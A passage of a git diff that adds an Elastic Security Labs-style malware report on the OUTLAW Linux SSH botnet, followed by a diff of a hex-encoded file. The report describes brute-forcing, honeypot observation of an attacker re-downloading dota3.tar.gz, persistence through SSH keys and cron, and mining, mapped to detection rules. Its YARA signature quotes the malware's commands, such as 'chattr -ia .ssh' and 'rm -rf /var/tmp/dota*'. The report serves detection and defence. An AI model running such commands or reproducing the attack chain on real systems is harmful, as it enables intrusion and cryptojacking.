"pegasus". Upon successful authentication, Blitz logs attack details into a "v" file, structured as follows: + +This log contains: + +* Original username and password used in the attack. +* The victim’s IP address and the new password set by the malware. +* SSH port and OS details, including CPU specifications. + +Once BLITZ completes its scanning cycle, the "v" file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems. + + +## Post-Compromise + +To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions. + +A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29. The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via `wget`, unpacked it, and executed the newly fetched script. + +This whole chain of activity can be displayed through [session view](https://www.elastic.co/guide/en/security/current/session-view.html), an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior. + + +![Threat actors actions in a honeypot](/assets/images/outlaw-linux-malware/01-honeypot.gif "Threat actors actions in a honeypot") + +The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC. + +This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual "quality check" of sorts—underscoring the importance of timely detection and swift containment. + + +## Detecting OUTLAW through MITRE ATT&CK + +OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&CK techniques, making it an effective case for detection engineering. + +This section maps OUTLAW’s attack chain to MITRE ATT&CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages. + +OUTLAW follows a structured infection flow: + +* **Initial Access** – SSH brute-force against weak credentials. +* **Execution** – Runs malicious scripts to kick off several stages of malware infection. +* **Persistence** – Installs cron jobs and modifies SSH keys. +* **Defense Evasion** – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts. +* **Credential Access** – Modifies credentials and injects public SSH keys. +* **Discovery** – Enumerates user, system, and hardware details. +* **Lateral Movement** – Spreads via internal SSH brute-force and malware transfer. +* **Collection & Exfiltration** – Collects and exfiltrates system data to its C2. +* **Command and Control** – Uses socat and STEALTH SHELLBOT for C2 communication. +* **Impact** – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node. + +The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections. + + +### TA001: Initial Access + +OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built [detection rules](https://github.com/elastic/detection-rules/) can successfully detect this method of initial access. These include: + + + +* [Potential External Linux SSH Brute Force Detected](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml) +* [Potential Successful SSH Brute Force Attack](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml) + +Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications: + +* [Successful SSH Authentication from Unusual SSH Public Key](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml) +* [Successful SSH Authentication from Unusual User](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml) +* [Successful SSH Authentication from Unusual IP Address](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml) + +Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) and [OSQuery](https://www.elastic.co/guide/en/kibana/current/osquery.html), publicly available in our [Detection Rules repository](https://github.com/elastic/detection-rules), specifically in the [Linux hunting subdirectory](https://github.com/elastic/detection-rules/tree/main/hunting). For example, the following two hunts may help in identifying different stages of the attack: + + + +* [Logon Activity by Source IP](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/login_activity_by_source_address.toml) +* [Excessive SSH Network Activity to Unique Destinations](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml) + + +### TA002: Execution + +After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect: + + + +* [File Downloaded from Suspicious Source by Web Server](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml) +* [Memory Threat Detection Alert: Linux.Trojan.Pornoasset](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar) + +The STEALTH SHELLBOT script is detected through: + + + +* [Script Executed Through Unusual Parent Process](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml) + +Additionally, the malware executes multiple suspicious system commands, triggering: + +* [Suspicious System Commands Executed by Previously Unknown Executable](https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml) + + +### TA003: Persistence + +This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our "[Linux Detection Engineering - A primer on persistence mechanisms](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms)" publication. We can detect these techniques through the following SIEM and [endpoint rules](https://github.com/elastic/protections-artifacts): + +* [Cron Job Created or Modified](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml) +* [SSH Authorized Keys File Modification](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml) +* [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml) + +Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts: + +* [Persistence via Cron](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_cron.toml) +* [Persistence via SSH Configurations and/or Keys](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_ssh_configurations_and_keys.toml) + + +### TA005: Defense Evasion + +OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules: + +* [Base64 Decoded Payload Piped to Interpreter](https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml) +* [Unusual Base64 Encoding/Decoding Activity](https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml) +* [Linux Payload Decoded and Decrypted via Built-in Utility](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_linux_payload_decoded_and_decrypted_via_built_in_utility.toml) + +Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections. + +Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using `chattr`: + +* [File Permission Modification in Writable Directory](https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_file_mod_writable_dir.toml) +* [Creation of Hidden Files and Directories via CommandLine](https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_hidden_file_dir_tmp.toml) +* [File made Immutable by Chattr](https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_chattr_immutable_file.toml) +* [Chattr Execution from Unusual Parent](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/defense_evasion_chattr_execution_from_unusual_parent.toml) + +We can further enhance detection through the following hunting query: + +* [Hidden Process Execution](https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/hunting/linux/queries/defense_evasion_via_hidden_process_execution.toml) + + +### TA006: Credential Access + +OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals: + + + +* [SSH Authorized Keys File Modification](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml) +* [SSH Authorized Keys File Deletion](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml) + +The malware then changes the user credentials for the authenticated account by entering a new password using the `passwd` utility: + +* [Linux User Account Credential Modification](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml) + + +### TA007: Discovery + +OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several [building block rules](https://www.elastic.co/guide/en/security/current/building-block-rule.html), as listed in our [rules_building_block directory](https://github.com/elastic/detection-rules/tree/main/rules_building_block). Below is a short list of the most important ones triggered by OUTLAW: + +* [Linux System Information Discovery](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml) +* [Process Discovery via Built-In Applications](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_process_discovery_via_builtin_tools.toml) +* [System Owner/User Discovery Linux](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_owner_user_discovery.toml) +* [Account or Group Discovery via Built-In Tools](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_of_accounts_or_groups_via_builtin_tools.toml) +* [System Network Connections Discovery](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_system_network_connections.toml) + +The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats. + + +### TA008: Lateral Movement + +OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules: + +* [Potential Port Scanning Activity from Compromised Host](https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml) +* [Potential Subnet Scanning Activity from Compromised Host](https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_subnet_scanning_activity_from_compromised_host.toml) + +Once a system is successfully brute-forced, the malware package, `dota3.tar.gz`, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation. + +Elastic pre-built detection rules can identify these lateral movement attempts: + +* [Potential Internal Linux SSH Brute Force Detected](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/credential_access_potential_linux_ssh_bruteforce_internal.toml) +* [Remote File Creation in World Writeable Directory](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_remote_file_creation_world_writeable_dir.toml) +* [Unusual Remote File Creation](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_unusual_remote_file_creation.toml) + +Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in. + +### TA009: Collection & TA010: Exfiltration + +OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own. + +Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL: + +* [Unusual File Transfer Utility Launched](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml) + + +### TA011: Command and Control + +OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules: + +* [Socat Reverse Shell or Listener Activity](https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml) +* [High Number of Egress Network Connections from Unusual Executable](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_frequent_egress_netcon_from_sus_executable.toml) +* [Suspicious Network Activity to the Internet by Previously Unknown Executable](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_suspicious_network_activity_from_unknown_executable.toml). + +The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used: + +* [Low Volume External Network Connections from Process by Unique Agent](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/low_volume_external_network_connections_from_process.toml) +* [Unusual File Downloads from Source Addresses](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/command_and_control_via_unusual_file_downloads_from_source_addresses.toml) +* [Excessive SSH Network Activity to Unique Destinations](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml) + + +### TA040: Impact + +OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules: + + + +* [Suspicious Kernel Feature Activity](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml) +* [MSR Write Access Enabled](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/impact_msr_write_access_enabled.toml) + +As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered: + + + +* [Kernel Driver Load by Non-Root User](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load_by_non_root.toml) +* [Kernel Driver Load](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load.toml) + +These rules directly monitor for `init_module()` and `finit_module()` syscalls, through [Auditd](https://www.elastic.co/guide/en/integrations/current/auditd.html). For more information on how to set up the [Auditd Manager integration](https://www.elastic.co/guide/en/integrations/current/auditd_manager.html) to capture driver events and much more, check out the [Linux Detection Engineering with Auditd](https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd) publication. + +Simultaneously, SSH brute-force attempts are launched from the infected host, triggering: + +* [Potential Malware-Driven SSH Brute Force Attempt](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/impact_potential_bruteforce_malware_infection.toml) + +Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers: + +* [Kill Command Executed](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_kill_command_executed.toml) +* [Kill Command Executed from Binary in Unusual Location](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/execution_kill_command_executed_from_binary_in_unusual_location.toml) +* [Kill Command Executed from a Hidden Process](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/defense_evasion_kill_command_executed_from_a_hidden_process.toml) + + +## Indicators of Compromise (IOCs) + +The complete set of indicators can be found as a bundle on [Github](https://github.com/elastic/labs-releases/tree/main/indicators/outlaw). + + +#### Yara Signatures +```yara +rule Linux_Hacktool_Outlaw_cf069e73 { + meta: + author = "Elastic Security" + description = "OUTLAW SSH bruteforce component fom the Dota3 package" + reference_sample = "c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27" + + strings: + $ssh_key_1 = "MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA" + $ssh_key_2 = "MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ" + $ssh_key_3 = "UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H" + $ssh_key_4 = "O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g" + $path_1 = "/home/eax/up" + $path_2 = "/var/tmp/dota" + $path_3 = "/dev/shm/ip" + $path_4 = "/dev/shm/p" + $path_5 = "/var/tmp/.systemcache" + $cmd_1 = "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'" + $cmd_2 = "cd ~; chattr -ia .ssh; lockr -ia .ssh" + $cmd_3 = "sort -R b | awk '{ if ( NF == 2 ) print } '> p || cat b | awk '{ if ( NF == 2 ) print } '> p; sort -R a" + $cmd_4 = "rm -rf /var/tmp/dota*" + $cmd_5 = "rm -rf a b c d p ip ab.tar.gz" + condition: + (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*)) +} +``` + +#### SIEM and Endpoint Rules Overview by MITRE ATT&CK Tactic + +| Technique ID | Description | +|-------------|-------------| +| **TA001: Initial Access** | [Potential External Linux SSH Brute Force Detected](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml)
    [Potential Successful SSH Brute Force Attack](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml)
    [Successful SSH Authentication from Unusual SSH Public Key](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml)
    [Successful SSH Authentication from Unusual User](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml)
    [Successful SSH Authentication from Unusual IP Address](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml) | +| **TA002: Execution** | [File Downloaded from Suspicious Source by Web Server](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml)
    [Linux.Trojan.Pornoasset](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar)
    [Script Executed Through Unusual Parent Process](https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml)
    [Suspicious System Commands Executed by Previously Unknown Executable](https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml) | +| **TA003: Persistence** | [Cron Job Created or Modified](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml)
    [SSH Authorized Keys File Modification](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml)
    [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| **TA005: Defense Evasion** | [Base64 Decoded Payload Piped to Interpreter](https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml)
    [Unusual Base64 Encoding/Decoding Activity](https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml) | +| **TA006: Credential Access** | [SSH Authorized Keys File Modification](https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml)
    [SSH Authorized Keys File Deletion](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml)
    [Linux User Account Credential Modification](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml) | +| **TA007: Discovery** | [Linux System Information Discovery](https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml) | +| **TA008: Lateral Movement** | [Potential Port Scanning Activity from Compromised Host](https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml) | +| **TA009 & TA010: Collection & Exfiltration** | [Unusual File Transfer Utility Launched](https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml) | +| **TA011: Command and Control** | [Socat Reverse Shell or Listener Activity](https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml) | +| **TA040: Impact** | [Suspicious Kernel Feature Activity](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml) | + + +## Conclusion + +OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further. + +Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity. + +By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats. + + +## References + +[1] CounterCraft, [DOTA3 Malware Again and Again](https://www.countercraftsec.com/blog/dota3-malware-again-and-again/) + +[2] Juniper Networks, [DOTA3: Is Your Internet of Things Device Moonlighting?](https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting) + +[3] SANS ISC, [Hygiene Hygiene Hygiene](https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260) + +[4] Darktrace, [Outlaw Returns: Uncovering Returning Features and New Tactics](https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics) diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.encoded.md index a25086ca8943e..2880c9bd10384 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.encoded.md @@ -1 +1 @@ -4005c542eb770b1a7d33bc0924a6eafe9bca7b91b2a4d48b0936b32d4259787c27453c20a68df500b0fad5c6fde94d595137616b392adac2aa77c2e4065e237f5ce0e0c64912a3c1bc0f58ef0c841a9d6e908c110984267bc4c413072f68e432f1e965ebae660fb8e9c623543ecce1fc834fa390358a506e9b583629e7d47d50165f7e4632ac452a957685a365ef04acc4150af945ee94ea057327bd7b13e3fda96bcf88753901ebe4bb4dc2bed97c362715d218a0d5a85e9cb722b972f3295f458d5efaea3ef2869d0623c45e3b445d75446ae9658cf2a9806d5b4caf27d305d8e73fd23c1ba3783f53a5a52a2de12fcd3d84d2e5ddb2c052427c48eef8f8ffbfe2e59d5049630e48a9080e2bb052027b9dbad235293de824d8ee83d1d0cc7c1e0d3ca1c37a9dc7eb23fdd3ce99bca7ada5a26d36cf75fba0225c911491468e796c027cdaf1788bca6b2e8ed827551520efede661d4ba41025e794ee0e894bc4f72d9be675b9d550784f46d5cde188cea6c7515af732878d86d0cbb7048a07683e98efecb6c3cd70d3f241e51d766a90c30465333f8846865f43390b8843fe46f15a1d958943d5261c07a45ac0de1d617ad1d240dfb1050cc6c4aef84f05823f99f8cfee599f5a990a40d2e2f7ab14b419afda90eb0d3f482bd7019b8d3cd55865776c7dbee1d4efee34489b5e4f147a64a1ba4deedef5604bd6c42930664d93def30d26d13bffa405a39321f7468c48d693c84f1633fdcc5173740432d0cd37a9b74285f981a2a3e8272f6a3cc2ffab1459baa8b2d5e8fd811923854eadae187afb70b4f0ebc1469872cf10b64ebd6ff3a4cf6ca1edc14087b51cee52b1187b2b4d452cf845d10a7e2586b792624b3a6d5c0bc68d9063ab316224cf0f2e3c67f88aa1f23341ede35b51013c6a715101c2f70316f9bc6a83ef093492c1c5cf325ac15370a85dbd0296d0e0e41bd0bf448e0073cdd223fa22d80c26fc37a90d222d29005b4527465a5243f942adf6cbe82a20225680dd91196d8cc699bd90980637423831d10ddb3b5061c00807868b2aafee5c92b58ffc48d3af84bb3b8345429abf422f65d7c95851c22c500dc8b21491b9ceabbfeaac5a43ebda3ed35983580a0a33b91bbec5c02b2f1be34ca3c5e54082019a2b9343c0289a84e4860064d54aa54a1ffeb7e690426213fb9b404a6353be166b4abea905184e1a1b5298e5dda3d15f9364c71bfd0d5f0614d47332f1d8aac1983eb53799260de126161a2da93199105a5c346d8adbb38a4e7a3219ac545b61f9f887943bc58733eda492ba94aabe76c816a897ceebac2ab4ce5cd57d8b5829158efb69896ce9f004fcd9b1d0017a26486ee26a6eb92e974c20b0f1efd6fccb908ad7841d97348963a94da62c22f116fe43547e61dfd52a95dcbf4c686caf409c889317f4e8d47a7189a4c4cd677ba4f450890f3e6b5b7bd9e29b139f034fb1fb156f66bde90151e861e5b1df9705f8f122cdaef73ef072b26815fbcdcf727f7c095f8b722499ff7bb4524c4c3444243ebe47c7115b47cac544ff789ee1be80ee022606441772249b6031873870b04a04c84dbef313a2ba5e9fc0bf14cd9710f9e6648375115fc66a56880bcb28e2800787c323b9b2e01a88b2099c21aa02553fc058a1294beea9ee411f697efff68fed50b156fb835d7b70079c6eb0806abbc54fa8cc5a3aa6d4529c0ee0cf8ae2ba740dc4cf0fc070ab69e6089a88b126a56bce3c02909e58ed490a4858839fd6bca65200eb55b1a719cd58f75cab855ee011a1eb2a9016703fd7f9a21075830ad64f615ea8257ec01b43fccab0fd65da7ed3581182466d3a91e144a8b5f5619d51a4181790d8e333d464c3fd9489de9ba64d9f8741d637ddcaf18f99f42e1bac2b2d53931b974bb9e65c2da3dfb6b4581a2957c106218cd3d3beb55500871021e299e6c3603730dff19b0c185ca7b10203a6a3c358f6d5de3f5baffc8b8499676ee8565b8acab5553d8bb063c50c18fadc1e6d4e3f0bce4799a482a6a408eea567456042e5715f140a6a9d81c5d08dfc5b30250d6c70f9e9b3636f57d90de4c6138dc3b78ffaa58fafe542a812ab19f4fa5708d936a160e29fa99ded15e962da38f7bd1a184b6c4a458dfab5c70ca7bf4ed9b3fb5f1cb7f98699c3eaf2066509a9c4bd090621abaae81c93c98a41c5d0e08233e7e4cd498d631b6ae1c265c088916100c960902d949b47df7d3f